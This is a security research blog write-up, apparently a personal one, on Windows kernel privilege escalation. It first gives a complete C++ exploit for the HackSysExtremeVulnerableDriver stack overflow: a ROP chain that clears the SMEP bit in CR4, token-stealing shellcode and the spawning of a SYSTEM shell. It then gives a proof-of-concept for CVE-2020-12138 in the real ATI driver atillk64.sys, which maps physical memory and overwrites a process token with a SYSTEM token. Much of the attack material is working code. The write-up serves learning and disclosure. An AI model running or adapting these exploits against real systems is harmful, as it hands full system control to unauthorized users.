This code imports NtQuerySystemInformation from nt.dll and allows us to use it with the System Module Information parameter which returns to us a nice struct of a ModulesCount (how many kernel modules are loaded) and an array of the Modules themselves which have a lot of struct members included a Name. In all my research I couldn’t find an example where the kernel image wasn’t index value 0 so that’s what I’ve implemented here.

You could use a lot of the cool string functions in C++ to easily get the base address of any kernel mode driver as long as you have the name of the .sys file. You could cast the Modules.Name member to a string and do a substring match routine to locate your desired driver as you iterate through the array and return the base address. So now that we have the base address figured out, we can move on to hunting the gadgets.

Hunting Gadgets

The value of these gadgets is that they reside in kernel space so SMEP can’t interfere here. We can place them directly on the stack and overwrite rip so that we are always executing the first gadget and then returning to the stack where our ROP chain resides without ever going into user space. (If you have a preferred method for gadget hunting in the kernel let me know, I tried to script some things up in WinDBG but didn’t get very far before I gave up after it was clear it was super inefficient.) Original work on the gadget locations as far as I know is located here: http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html

Again, just following along with Abatchy’s blog, we can find Gadget 1 (actually the 2nd in our code) by locating a gadget that allows us to place a value into cr4 easily and then takes a ret soon after. Luckily for us, this gadget exists inside of nt!HvlEndSystemInterrupt.

We can find it in WinDBG with the following:

kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff800`10dc1560 4851            push    rcx
fffff800`10dc1562 50              push    rax
fffff800`10dc1563 52              push    rdx
fffff800`10dc1564 65488b142588610000 mov   rdx,qword ptr gs:[6188h]
fffff800`10dc156d b970000040      mov     ecx,40000070h
fffff800`10dc1572 0fba3200        btr     dword ptr [rdx],0
fffff800`10dc1576 7206            jb      nt!HvlEndSystemInterrupt+0x1e (fffff800`10dc157e)

nt!HvlEndSystemInterrupt+0x18:
fffff800`10dc1578 33c0            xor     eax,eax
fffff800`10dc157a 8bd0            mov     edx,eax
fffff800`10dc157c 0f30            wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff800`10dc157e 5a              pop     rdx
fffff800`10dc157f 58              pop     rax
fffff800`10dc1580 59              pop     rcx // Gadget at offset from nt: +0x146580
fffff800`10dc1581 c3              ret

As Abatchy did, I’ve added a comment so you can see the gadget we’re after. We want this:

pop rcx

ret routine because if we can place an arbitrary value into rcx, there is a second gadget which allows us to mov cr4, rcx and then we’ll have everything we need.

Gadget 2 is nested within the KiEnableXSave kernel routine as follows (with some snipping) in WinDBG:

kd> uf nt!KiEnableXSave
nt!KiEnableXSave:

---SNIP---

nt! ?? ::OKHAJAOM::`string'+0x32fc:
fffff800`1105142c 480fbaf112      btr     rcx,12h
fffff800`11051431 0f22e1          mov     cr4,rcx // Gadget at offset from nt: +0x3D6431
fffff800`11051434 c3              ret

So with these two gadgets locations known to us, as in, we know their offsets relative to the kernel base, we can now implement them in our code. So to be clear, our payload that we’ll be sending will look like this when we overwrite the stack:

  • ‘A’ characters * 2056
  • our pop rcx gadget
  • The value we want rcx to hold
  • our mov cr4, rcx gadget
  • pointer to our shellcode.

So for those following along at home, we will overwrite rip with our first gadget, it will pop the first 8 byte value on the stack into rcx. What value is that? Well, it’s the value that we want cr4 to hold eventually and we can simply place it onto the stack with our stack overflow. So we will pop that value into rcx and then the gadget will hit a ret opcode which will send the rip to our second gadget which will mov cr4, rcx so that cr4 now holds the SMEP-disabled value we want. The gadget will then hit a ret opcode and return rip to where? To a pointer to our userland shellcode that it will now run seemlessly because SMEP is disabled.

You can see this implemented in code here:

 BYTE input_buff[2088] = { 0 };

    INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
    cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
    INT64 rcx_value = 0x70678; // value we want placed in cr4
    INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
    cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;


    memset(input_buff, '\x41', 2056);
    memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
    memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
    memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
    memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode

CR4 Value

Again, just following along with Abatchy, I’ll go ahead and place the value 0x70678 into cr4. In binary, 1110000011001111000 which would mean that the 20th bit, the SMEP bit, is set to 0. You can read more about what values to input here on j00ru’s blog post about SMEP.

So if cr4 holds this value, SMEP should be disabled.

Restoring Execution

The hardest part of this exploit for me was restoring execution after the shellcode ran. Unfortunately, our exploit overwrites several register values and corrupts our stack quite a bit. When my shellcode is done running (not really my shellcode, its borrowed from @Cneelis), this is what my callstack looked like along with my stack memory values:

Restoring execution will always be pretty specific to what version of HEVD you’re using and also perhaps what build of Windows you’re on as the some of the kernel routines will change, so I won’t go too much in depth here. But, what I did to figure out why I kept crashing so much after returning to the address in the screenshot of HEVD!IrpDeviceIoCtlHandler+0x19f which is located in the right hand side of the screenshot at ffff9e8196b99158, is that rsi is typically zero’d out if you send regular sized buffers to the driver routine.

So if you were to send a non-overflowing buffer, and put a breakpoint at nt!IopSynchronousServiceTail+0x1a0 (which is where rip would return if we took a ret out our address of ffff9e8196b99158), you would see that rsi is typically 0 when normally system service routines are exiting so when I returned, I had to have an rsi value of 0 in order to stop from getting an exception.

I tried just following the code through until I reached an exception with a non-zero rsi but wasn’t able to pinpoint exactly where the fault occurs or why. The debug information I got from all my bugchecks didn’t bring me any closer to the answer (probably user error). I noticed that if you don’t null out rsi before returning, rsi wouldn’t be referenced in any way until a value was popped into it from the stack which happened to be our IOCTL code, so this confused me even more.

Anyways, my hacky way of tracing through normally sized buffers and taking notes of the register values at the same point we return to out of our shellcode did work, but I’m still unsure why 😒.

Conclusion

All in all, the ROP chain to disable SMEP via cr4 wasn’t too complicated, this could even serve as introduction to ROP chains for some in my opinion because as far as ROP chains go this is fairly straightforward; however, restoring execution after our shellcode was a nightmare for me. A lot of time wasted by misinterpreting the callstack readouts from WinDBG (a lesson learned). As @ihack4falafel says, make sure you keep an eye on @rsp in your memory view in WinDBG anytime you are messing with the stack.

Exploit code here.

Thanks again to all the bloggers who got me through the HEVD exploits:

Huge thanks to HackSysTeam for developing the driver for us to all practice on, can’t wait to tackle it on Linux!

#include <iostream>
#include <string>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME             "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL                   0x222003

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    ULONG                Reserved3;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl;
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex
        << (INT64)hFile << endl;

    return hFile;
}

void send_payload(HANDLE hFile, INT64 kernel_base) {

    cout << "[>] Allocating RWX shellcode..." << endl;

    // slightly altered shellcode from 
    // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
    // thank you @Cneelis
    BYTE shellcode[] =
        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
        "\x4D\x8B\x88\xf0\x02\x00\x00"              // mov r9, [r8 + 2f0h]      ; ActiveProcessLinks list head
        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
        //find_system_proc:
        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
        //found_system:
        "\x48\x8B\x41\x68"                          // mov rax, [rcx + 68h]     ; Offset from ActiveProcessLinks to Token
        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token
        "\x48\x83\xC4\x40"                          // add rsp, 040h
        "\x48\x31\xF6"                              // xor rsi, rsi             ; Zeroing out rsi register to avoid Crash
        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS
        "\xc3";

    LPVOID shellcode_addr = VirtualAlloc(NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memcpy(shellcode_addr, shellcode, sizeof(shellcode));

    cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr
        << endl;

    BYTE input_buff[2088] = { 0 };

    INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
    cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
    INT64 rcx_value = 0x70678; // value we want placed in cr4
    INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
    cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;


    memset(input_buff, '\x41', 2056);
    memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
    memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
    memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
    memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode

    // keep this here for testing so you can see what normal buffers do to subsequent routines
    // to learn from for execution restoration
    /*
    BYTE input_buff[2048] = { 0 };
    memset(input_buff, '\x41', 2048);
    */

    cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl;

    DWORD bytes_ret = 0x0;

    cout << "[>] Sending payload..." << endl;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        sizeof(input_buff),
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {
        cout << "[!] DeviceIoControl failed!" << endl;
    }
}

INT64 get_kernel_base() {

    cout << "[>] Getting kernel base address..." << endl;

    //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
    //also using the same import technique that @tekwizz123 showed us

    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {

        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }

    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation,
        NULL,
        0,
        &len);

    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
        VirtualAlloc(NULL,
            len,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);

    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
        pModuleInfo,
        len,
        &len);

    if (status != (NTSTATUS)0x0) {
        cout << "[!] NtQuerySystemInformation failed!" << endl;
        exit(1);
    }

    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;

    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;

    return (INT64)kernelImageBase;
}

void spawn_shell() {

    cout << "[>] Spawning nt authority/system shell..." << endl;

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));

    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));

    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

int main() {

    HANDLE hFile = grab_handle();

    INT64 kernel_base = get_kernel_base();
    send_payload(hFile, kernel_base);
    spawn_shell();
}

CVE-2020-12138 Exploit Proof-of-Concept, Privilege Escalation in ATI Technologies Inc. Driver atillk64.sys

25 April 2020 at 04:00
By: h0mbre

Background

I’ve been focusing, really since the end of January, on working through the FuzzySecurity exploit development tutorials on the HackSysExtremeVulnerableDriver to try and learn some more about Windows kernel exploitation and have really enjoyed my time a lot.

During this time, @ihack4falafel released some proof-of-concept exploits[1][2] against several Windows kernel-mode drivers. The takeaway from these write-ups, for me, was that 3rd party drivers that are responsible for overclocking, RGB light-management, hardware diagnostics are largely broken.

The types of vulnerabilities that were disclosed in these write-ups often were related to low-privileged users having the ability to interact with a kernel-mode driver that was able to directly manipulate physical memory, where all kinds of privileged information resides.

The last FuzzySecurity Windows Exploit Development Tutorial Series is b33f’s exploit against a Razer driver exploiting this very same type of vulnerability.

Getting more interested in this type of bug, I sought out more write-ups and found some great proof-of-concepts:

  • Jackson T’s write-up of an LG driver privilege escalation vulnerability,
  • hatRiot’s write-up of a Dell driver privilege escalation vulnerability, and
  • ReWolf’s write-up of a few different driver vulnerabilities within the same type of logic bug realm.

After reading through those, I decided to just start downloading similar software and searching for drivers that I hadn’t seen CVEs for and that had some key APIs. My criteria when searching was that the driver had to:

  • allow low-privileged users to interact with it,
  • have either an MmMapIoSpace or ZwMapViewOfSection import.

As someone who is very new to this type of thing, I figured with the help of the aforementioned walkthroughs, if I was able to find a driver that would allow me to interact with physical memory I could successfully develop an exploit.

Disclaimer

This is kind of a niche space and as a new person getting into this very specific type of target I wasn’t really aware of the best places to look for more information about these types of vulnerable drivers. The first few things I checked was that there were no CVEs for the driver and that the driver hadn’t been mentioned on Twitter by security researchers. By the time I had reversed the driver and discovered it to be vulnerable in theory, but without a working exploit, I realized that the driver had been classified as vulnerable by researchers Jesse Michael and Mickey Shkatov at Eclypsium. The driver gets a small mention in their github repo but without specifically identifying the vulnerabilities that exist.

I’m not claiming responsibility for finding the vulnerability, since I was far from the first. Jesse and Mickey were given all of the credit on the CVE application and I can prove this upon request.

I was able to get in contact with Jesse via Twitter and he was extremely charitable with his time. He gave me a great explanation of their interactions with a vendor about the driver.

At this point, since there was no published proof-of-concept, I decided to press on and develop the exploit, which Jesse wholeheartedly supported and encouraged. I figured I’d develop an exploit, show AMD the proof-of-concept, and give them 90 days to respond/patch or explain that they’re not concerned.

Huge thanks to Jesse for being so charitable. He’s also incredibly knowledgeable and was willing to teach me tons of things along the way when answering my questions.

GIGABYTE Fusion 2.0

One of the first software packages I downloaded was GIGABYTE’s Fusion 2.0 software which comes with several drivers. I won’t get any more in-depth with the types of drivers included other than the subject of this post, atillk64.sys. Using default installation options, the driver was installed here: C:\Program Files (x86)\GIGABYTE\RGBFusion\AtiTool\atillk64.sys.

The driver file description states the product name is ATI Diagnostics version 5.11.9.0 and its copyright is ATI Technologies Inc. 2003. I’m not sure what other software packages out there also install this driver, but I’m sure Fusion 2.0 isn’t the only one. I’ve found that several of these hardware diagnostic/configuration software suites install licensed drivers that are often slightly modified (or not modified at all!) versions of known-to-be vulnerable code-bases like the classic WinIO.sys.

atillk64.sys Analysis

The first thing I needed to know was what types of permissions the driver had and if lower-privileged users could interact with the driver. Looking at the device with OSR’s devicetree, we can see that this is the case.

Reversing the driver was pretty easy even as a complete novice just because it is so small. There is the hardly any surface area to explore and the IOCTL handler routine was pretty straightforward. MmMapIoSpace was one of the imports so I was already interested at this point.

One routine caught my attention early on because the API call chain was very similar to one of the driver routines that @ihack4falafel wrote up a proof-of-concept for.

The routine first calls MmMapIoSpace, which takes a physical address as a parameter and a length (and cache type) and maps that memory into system memory and returns a pointer to the now virtual address that corresponds to the beginning of the physical memory you asked to be mapped. So at this point, this system address is not available to us as a userland process. It is stored in rax and the result is checked to make sure the API call succeeded and did not return NULL. After some experimentation, as long as we pass a check that our input buffer is 0x18 in length, we are able to completely control two of the MmMapIoSpace parameters: NumberOfBytes and PhysicalAddress. These values are taken from rdi offsets which is the address of our input buffer. CacheType is hardcoded as 0.

If the call succeeded, a call is made to IoAllocateMdl with the same values. The virtual address returned by MmMapIoSpace is given as a parameter as well as the same Length value. This API also associates our newly created MDL with an IRP.

If the call succeeded, a subsequent call is made to MmBuildMdlForNonPagedPool which takes the MDL we just created and ‘updates it to describe the underlying physical pages.’ MSDN states that IoAllocateMdl doesn’t initialize the data array that follows the MDL structure, and that drivers should call MmBuildMdlForNonPagedPool to initialize the array and describe the physical memory in which the buffer resides.

Next, is a call to MmMapLockedPages, which is an old an deprecated API. This call takes the updated MDL and maps the physical pages that are described by it into our process space. It returns the starting address of this mapping to us eventually you’ll see as the return value (rax) is eventually placed in rbx and moved to [rdi] which will be our output buffer in DeviceIoControl.

Subsequent API calls to IoFreeMdl and MmUnmapIoSpace perform some cleanup and free up the pool allocations (as far as I know, please correct me if I’m wrong).

Exploitation Strategy

The first 8 bytes of our output buffer at this point hold a pointer to the mapped memory in our process space.

Say we mapped 0x1000 bytes from physical address offset 0x100000000 all of the data from 0x100000000 to 0x100001000 would be available to us within our process space. This is bad because we are a low-privileged process and this data can contain arbitrary system/privileged data.

The strategy for exploiting this was heavily informed by FuzzySec’s approach to exploiting his aforementioned Razer driver. At a high-level we are going to:

  • map physical memory into our process space,
  • parse through the data looking for “Proc” pool tags,
  • identify our calling process (typically cmd.exe) and note the location of our security token,
  • identify a process typically running as SYSTEM (something like lsass.exe) and note the value of its security token,
  • and finally, overwrite our token with the SYSTEM process token value to gain nt authority/system.

“Proc” Tags in the Pool

Following along with FuzzySec’s strategy here, the first thing we need to do is identify what these data structures actually look like in the pool. There will be pool chunk header and then a tag prepended to each pool allocation. The tag we’ll be looking for in our mapped memory is “Proc”, which is 0x636f7250 as an integer value.

To find some examples, we can use the kd !poolfind "Proc" command to identify pool allocations with our tag.

Looking at the output, we see we started scanning large pool allocations for the tag. I quit the process after 5 minutes or so as this should be enough sample data.

Scanning large pool allocation table for tag 0x636f7250 (Proc) (ffffd48c9d250000 : ffffd48c9d550000)

ffffd48ca040f340 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca10bd380 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca53b83e0 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca21c60b0 : tag Proc, size     0xb70, Nonpaged pool
ffffd48cb36e6410 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca09533b0 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca08c8310 : tag Proc, size     0xb70, Nonpaged pool
ffffd48c9bfd40c0 : tag Proc, size     0xb70, Nonpaged pool
ffffd48c9e59d310 : tag Proc, size     0xb70, Nonpaged pool
ffffd48c9fce0310 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca150f400 : tag Proc, size     0xb70, Nonpaged pool
ffffd48cae7de390 : tag Proc, size     0xb70, Nonpaged pool
ffffd48ca0ddc330 : tag Proc, size     0xb70, Nonpaged pool

Just plugging in the first address there in the WinDBG Preview memory pane, we can see that from this address, if we subtract 0x10 and then add 0x4, we see our “Proc” tag.

kd> da ffffd48ca040f340-0x10+0x4
ffffd48c`a040f334  "[email protected]"

So we’ve identified a “Proc” pool allocation and we have a good idea of how they are allocated. As b33f explains, they are all 0x10 aligned, so every address here ends in a 0. We know that at some arbitrary address ending in 0, if we look at <address> + 0x4 that is where a “Proc” tag might be.

So the first strategy we’ll employ in parsing for data we’re interested in, is to start at our mapped address and iterate by 0x10 each time and checking the value of our address + 0x4 for “Proc”.

From here, we can appeal to the EPROCESS structure to find the hardcoded offsets to EPROCESS members we’re interested in, which are going to be:

  • ImageFileName (the name of the process),
  • UniqueProcessId, and
  • Token.

I did all my testing on Windows 10 build 18362 and these were the offsets:

kd> !process 0 0 lsass.exe
PROCESS ffffd48ca64e7180
    SessionId: 0  Cid: 0260    Peb: 63d241d000  ParentCid: 01f0
    DirBase: 1c299b002  ObjectTable: ffffe60f220f2580  HandleCount: 1155.
    Image: lsass.exe

kd> dt nt!_EPROCESS ffffd48ca64e7180 UniqueProcessId Token ImageFilename
   +0x2e8 UniqueProcessId : 0x00000000`00000260 Void
   +0x360 Token           : _EX_FAST_REF
   +0x450 ImageFileName   : [15]  "lsass.exe"

So we can see that from the address that would normally be given to us if we did a !poolfind search for “Proc”, it is

  • 0x2e8 to the UniqueProcessId,
  • 0x360 to the Token, and
  • 0x450 to the ImageFileName.

So in our minds right now, our allocations look like this (thanks to ReWolf for breaking this down so well):

  • POOL_HEADER structure (this is where our tag will reside),
  • OBJECT_HEADER_xxx_INFO structures,
  • OBJECT_HEADER which, contains a Body where the EPROCESS structure lives.

The problem I found was that process to process, the size of these structures in between our “Proc” address and the point where our EPROCESS structure begins was wildly varied. Sometimes they were 0x20 in size, sometimes up to 0x90 during my testing. So right now my understanding of these allocations looks something like this:

if <0x10-aligned address> + 0x4 == "Proc"

then <0x10-aligned address> + <some intermediate structure size(somewhere between 0x20 and 0x90 typically)> == <beginning of EPROCESS>

then <beginning of EPROCESS> + 0x2e8 == UniqueProcessId
then <beginning of EPROCESS> + 0x360 == Token
then <beginning of EPROCESS> + 0x450 == ImageFileName

So my code had to account for these varying, let’s just call them “headers” informally for now, sizes. I noticed that all of these “header” structures ended with a 4-byte marker value of 0x00B80003. So what my code would now do is,

  • find “Proc” by looking at 0x10-aligned addresses and looking at the 4-byte value at +0x4,
  • once found, iterate 0x10 at a time up to offset 0xA0 (since the largest header size I found was 0x90) looking for 0x00B80003,
  • take the location of “Proc” and add it to a vector,
  • take the offset to 0x00B80003 and add it to a vector since we need to know this “header” size to calculate our way to the EPROCESS members we’re interested in.

So now that we have both the location of a “Proc” and the size of the header, we can accurately get UniqueProcessId, Token, and ImageFileName values.

  • (“Proc” - 0x4) + header-size + 0x2e8 = UniqueProcessId,
  • (“Proc” - 0x4) + header-size + 0x360 = Token,
  • (“Proc” - 0x4) + header-size + 0x450 = UniqueProcessId.

As an example, take this “Proc” tag found by !poolfind:

FFFFD48C`B102D320  00 00 B8 02 50 72 6F 63 39 B0 0D A6 8C D4 FF FF  ....Proc9.......
FFFFD48C`B102D330  00 10 00 00 88 0A 00 00 48 00 00 00 FF E8 2E F6  ........H.......
FFFFD48C`B102D340  C0 D4 66 2F 05 F8 FF FF 24 F6 FF FF E8 1F F6 FF  ..f/....$.......
FFFFD48C`B102D350  4A 7F 03 00 00 00 00 00 07 00 00 00 00 00 00 00  J...............
FFFFD48C`B102D360  00 00 00 00 00 00 00 00 93 00 08 00 F6 FF FF E8  ................
FFFFD48C`B102D370  C0 D4 66 2F 05 F8 FF FF 6B 85 EE 27 0F E6 FF FF  ..f/....k..'....
FFFFD48C`B102D380  03 00 B8 00 00 00 00 00 A0 04 0D A2 8C D4 FF FF  ................

We can see that 0xFFFFD48CB102D320 - 0x4 is “Proc”. Our header marker 0x00B80003, denoting when the header ends, is at offset 0x60 from there. We can test that we can find the ImageFileName given this information as follows:

kd> da 0xFFFFD48CB102D320 + 0x60 + 0x450
ffffd48c`b102d7d0  "svchost.exe"

So this looks promising.

Implementing Strategy in Code

One difficulty I faced on my Windows 10 build was that mapping large chunks at a time with DeviceIoControl calling our driver routine would often result in crashes. I didn’t have this problem at all on Windows 7. In my Windows 7 exploit I was able to map a 0x4CCCCCCC byte chunk and parse through the entire thing looking for the values I was after.

On Windows 10, I found the most stable approach to be to map 0x1000 (small page-sized) chunks at a time and then parse through these mapped chunks for my values. If I didn’t find my values, I would map another 0x1000. This too wasn’t crash free. I found that if I made too many mappings I would also crash so I had to find a sweet spot.

I also found that some calls to the driver routine with DeviceIoControl would return a failure. I wasn’t able to completely figure this out but my suspicion is that since our CacheType is hardcoded for us with MmMapIoSpace, if we tried to map pages that had been given a different CacheType in a previous mapping to a virtual address, it would fail. (Does this make sense?)

Picking a physical address to start mapping from is kind of arbitrary but I found the sweet spot on my Windows 10 VM to be around 0x200000000. This VM has about 8 GB of RAM. To limit the amount of mappings, I set a hard cap at 0x240000000 so that my exploit would stop mapping once it hit this address. I also toyed around with adding a limit to the amount of times DeviceIoControl is called but the exploit seems stable enough in testing that this wasn’t necessary in the end.

I used two main functions, the first function maps memory iteratively looking to identify the physical addresses of of “Proc” tags that have our “header marker” value soon after. This function stores the address of each physical location, the size of the header offset, and the size of the offset from the beginning of the memory page to the “Proc” location. It stores all of these values in vectors which are the sole members of a struct which the function returns. The offset to the beginning of the page is simply calculated with a modulus operation and then the remainder is subtracted from the “Proc” location. I wanted to make sure I was always mapping from a nice 0x1000 aligned address. Here is some of that snipped code:

cout << "[>] Going fishing for 100 \"Proc\" chunks in RAM...\n\n";
    while (proc_count < 100)
    {
        DWORDLONG num_of_bytes = 0x1000;
        DWORDLONG padding = 0x4141414141414141;
        INT64 start_address = START_ADDRESS + (0x1000 * iteration);

        INPUT_BUFFER input_buff = { start_address, num_of_bytes, padding };

        if (input_buff.start_address > MAX_ADDRESS)
        {
            cout << "[!] Max address reached!\n";
            cout << "[!] Iterations: " << dec << iteration << "\n";
            exit(1);
        }
        if (DeviceIoControl(
            device_handle,
            IOCTL,
            &input_buff,
            sizeof(input_buff),
            output_buff,
            sizeof(output_buff),
            &bytes_returned,
            NULL))
        {
            // The virtual address in our process space where RAM was mapped
            // is located in the first 8 bytes of our output_buff.
            INT64 mapped_address = *(PINT64)output_buff;

            // We will read a 32 bit value at offset i + 0x100 at some point
            // when looking for 0x00B80003, so we can't iterate any further
            // than offset 0xF00 here or we'll get an access violation.
            for (INT64 i = 0; i < (0xF10); i = i + 0x10)
            {
                INT64 test_address = mapped_address + i;
                INT32 test_value = *(PINT32)(test_address + 0x4);
                if (test_value == 0x636f7250)   // "Proc"
                {
                    for (INT64 x = 0; x < (0x100); x = x + 0x10)
                    {
                        INT64 header_address = test_address + x;
                        INT32 header_value = *(PINT32)header_address;
                        if (header_value == 0x00B80003) //  "Header" ending
                        {
                            // We found a "header", this is a legit "Proc"
                            proc_count++;

                            // This is the literal physical mem addr for the
                            // "Proc" pool tag
                            INT64 temp_addr = input_buff.start_address + i;
                            
                            // This address might not be page-aligned to 0x1000
                            // so find out how far off from a multiple of 
                            // 0x1000 we are. This value is stored in our 
                            // PROC_DATA struct in the page_entry_offset
                            // member.
                            INT64 modulus = temp_addr % 0x1000;
                            proc_data.page_entry_offset.push_back(modulus);
                            
                            // This is the page-aligned address where, either
                            // small or large paged memory will hold our "Proc"
                            // chunk. We store this as our proc_address member
                            // in PROC_DATA.
                            INT64 page_address = temp_addr - modulus;
                            proc_data.proc_address.push_back(
                                page_address);
                            proc_data.header_size.push_back(x);
                        }
                    }
                }
            }
            iteration++;
        }
        else
        {
            // DeviceIoControl failed
            iteration++;
            failures++;
        }
    }
    cout << "[>] \"Proc\" chunks found\n";
    cout << "    - Failed DeviceIoControl calls: " << dec << failures << "\n";
    cout << "    - Total DeviceIoControl calls: " << dec << iteration << "\n\n";

    // Returns struct of two vectors, one holds Proc chunk address
    // one holds header-size for that Proc chunk.
    return proc_data;

The next function takes the returned proc_data struct and re-maps 0x1000 bytes of physical memory starting at the physical memory address of the “Proc” tag (-0x4) but from the beginning of that page. The largest header length I found being 0x90, and the largest offset of interest being 0x450, we definitely don’t need to map this much from this address but I found that mapping anything less would sporadically lead to crashes as it wouldn’t be perfectly page-aligned.

The function knows the “Proc” tag location, the header size, and the offsets for valuable EPROCESS members and goes looking for any likely to be SYSTEM process as defined in a global vector.

vector<INT64> SYSTEM_procs = {
    0x78652e7373727363,         // csrss.exe
    0x78652e737361736c,         // lsass.exe
    0x6578652e73736d73,         // smss.exe
    0x7365636976726573,         // services.exe
    0x6b6f72426d726753,         // SgrmBroker.exe
    0x2e76736c6f6f7073,         // spoolsv.exe
    0x6e6f676f6c6e6977,         // winlogon.exe
    0x2e74696e696e6977,         // wininit.exe
    0x6578652e736d6c77,         // wlms.exe
};

If it finds one of these processes and our cmd.exe process it will overwrite the cmd.exe Token with the Token value of a privileged process giving us an nt authority\system shell.

INT64 SYSTEM_token = 0;
    INT64 cmd_token_addr = 0;
    bool SYSTEM_found = false;

    LPVOID output_buff = VirtualAlloc(
        NULL,
        0x8,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    for (int i = 0; i < proc_data.proc_address.size(); i++)
    {
        // We need to map 0x1000 bytes from our "Proc" tag so that we can parse
        // out all the EPROCESS members we're interested in. The deepest member
        // is ImageFileName at offset 0x450 from the end of the header. Header
        // sizes varied from 0x20 to 0x90 in my testing. start_address will be
        // the address of the beginning of each 0x1000 aligned address closest
        // to the "Proc" tag we found.
        DWORDLONG num_of_bytes = 0x1000;
        DWORDLONG padding = 0x4141414141414141;
